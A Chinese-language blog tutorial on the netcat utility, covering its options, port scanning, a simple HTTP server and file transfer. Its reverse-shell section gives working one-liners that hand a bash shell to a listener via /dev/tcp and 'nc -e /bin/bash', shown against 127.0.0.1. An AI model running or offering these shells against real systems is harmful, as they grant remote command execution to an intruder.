首页 运维 网络学院 查看内容

Linux命令-netcat 网络工具的瑞士军刀

2015-8-10 19:24 1974 0

摘要: netcat被成为网络工具中的瑞士军刀,之前也没怎么用过,挺惭愧的,那么现在来看看怎么用吧。 udp 和 tcp协议都比较好使,至少在测udp的时候,使用telnet感觉很无力呀。(nc 和 netcat都是一个命令) 参数 nc --versi ...
关键词: netcat 端口 接受端 nc 127.0 0.1 好使 hostname 文件 写法

netcat被成为网络工具中的瑞士军刀,之前也没怎么用过,挺惭愧的,那么现在来看看怎么用吧。 udp 和 tcp协议都比较好使,至少在测udp的时候,使用telnet感觉很无力呀。(nc 和 netcat都是一个命令)

参数

nc --version
netcat (The GNU Netcat) 0.7.1
Copyright (C) 2002 - 2003  Giovanni Giacobbi

想要连接到某处: nc [-options] hostname port[s] [ports] 
绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
参数:
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 帮助信息
-i secs 延时的间隔
-l 禁用词语模式,用于入站连接
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 任意指定本地及远程端口
-s addr 本地源地址
-u UDP模式
-v 详细输出——用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉——用于扫描时 

案例

端口扫描

# nc -z -v 127.0.0.1 1-100
localhost [127.0.0.1] 80 (http) open

    telnet 类似的用法,发送一个tcp或者udp包

    发送tcp请求到80端口

    # nc localhost 80

    shell反弹

    第一种在ubuntu上试过,第二种是用gun的netcat,比较好使。

    机器A$ nc -l -n -vv -p 8080
    机器B$ /bin/bash -i > /dev/tcp/127.0.0.1/8080 0<&1 2>&1  (shell反弹)
    #另外一种写法,在A上可以反弹B的shell
    A:  # netcat -lvvp 4444
    B:  # netcat -v 127.0.0.1 4444 -e /bin/bash

      模拟httpserver,一个页面

      nc -l 8888 < index.html   
      #这样写只能访问一次哦
      while true; do nc -l 8888 < index.html; done
      #直接在浏览器中访问就行了

        文件传输

        这个顺序有点特殊,先执行接受端,然后是发送端在发送

        #文件从B->A
        #首先在接受端A
        # nc -lvvp 4444 > aaaa.txt
        #然后在发送端B
        # nc -vv 127.0.0.1 4444 < t1.sed

          管道符的写法

          #文件从 A-B传送
          发送A
          $ cat backup.iso | nc -l 3333
          接受B
          $ nc 192.168.0.1 3333 > backup.iso=
          声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

          路过

          雷人

          握手

          鲜花

          鸡蛋

          最新评论

          返回顶部